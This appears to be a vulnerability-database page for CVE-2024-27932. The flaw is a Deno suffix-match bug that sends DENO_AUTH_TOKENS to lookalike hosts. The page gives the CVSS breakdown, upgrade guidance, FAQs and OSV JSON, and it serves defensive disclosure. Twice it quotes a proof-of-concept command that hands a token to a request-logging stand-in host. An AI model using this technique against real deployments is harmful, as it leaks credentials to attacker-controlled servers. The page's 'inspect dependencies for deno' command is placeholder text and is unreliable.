CVE-2024-27932: Deno Deno's Improper Suffix Match Testing Vulnerability

MODERATE
Advisory Identifier: GHSA-5frw-4rwq-xhcr
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CVSS 4.6
CWE-20
Published
Advisory Summary

CVE-2024-27932 is a MODERATE (CVSS 4.6) deno's improper suffix match testing vulnerability (CWE-20: Improper Input Validation) affecting Deno libraries in the crates.io ecosystem. The issue involves deno's improper suffix match testing for deno_auth_tokens. Remediation is available by upgrading affected packages to version 1.40.4.

CVE-2024-27932 at a Glance

CVE Identifier CVE-2024-27932
GHSA Identifier GHSA-5frw-4rwq-xhcr
Severity MODERATE
CVSS v3.1 Base Score 4.6
CWE Classification CWE-20: Improper Input Validation
Affected Product Deno
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 4.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2024-27932

To remediate this vulnerability, upgrade all affected Deno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

deno fixed: 1.40.4 
Upgrade deno to 1.40.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for deno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-27932, inspect your project dependencies for Deno:

inspect dependencies for deno

Analyze the terminal output to locate any version of Deno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.40.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Deno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`. ### Details [auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens. ### PoC - Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`. - Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com` - Observe that the token intended only for the truncated domain is sent to the full domain ### Impact _What kind of vulnerability is it? Who is impacted?_ Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

CVE-2024-27932 Affected Deno Versions

1 component(s)
Fixed Versions:
1.40.4
Product / Package Ecosystem Affected Versions Fixed Version
deno
 crates.io
≥ 1.8.0
< 1.40.4
1.40.4

References

GitHub Advisory / Wiki ADVISORY
https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr
NVD — CVE-2024-27932 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-27932
Security Fix Commit FIX COMMIT
https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b
Deno Source Repository REPOSITORY
https://github.com/denoland/deno
Deno Source Repository REPOSITORY
https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89

Frequently Asked Questions

What is CVE-2024-27932?
CVE-2024-27932 is a security vulnerability in Deno involving Deno's improper suffix match testing for DENO_AUTH_TOKENS under CWE-20: Improper Input Validation.
Which Deno versions are affected?
Affected versions include releases prior to 1.40.4 across affected packages: deno.
What version fixes CVE-2024-27932?
Upgrading to 1.40.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is deno affected?
Yes, deno is affected in releases prior to 1.40.4. Upgrade your dependency to 1.40.4 or later.
What is the CVSS score of CVE-2024-27932?
CVE-2024-27932 has a CVSS v3.1 base score of 4.6 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2024-27932?
CVE-2024-27932 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check crates.io dependencies for CVE-2024-27932?
Run the dependency tree command: 'inspect dependencies for deno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5frw-4rwq-xhcr",
  "modified" : "2024-03-21T18:25:42Z",
  "published" : "2024-03-06T17:03:36Z",
  "aliases" : [ "CVE-2024-27932" ],
  "summary" : "Deno's improper suffix match testing for DENO_AUTH_TOKENS",
  "details" : "### Summary\n\nDeno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.\n\n### Details\n\n[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.\n\n### PoC\n\n- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.\n- Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`\n- Observe that the token intended only for the truncated domain is sent to the full domain\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAnyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.8.0"
      }, {
        "fixed" : "1.40.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-27932"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-06T17:03:36Z",
    "nvd_published_at" : "2024-03-21T02:52:21Z"
  }
}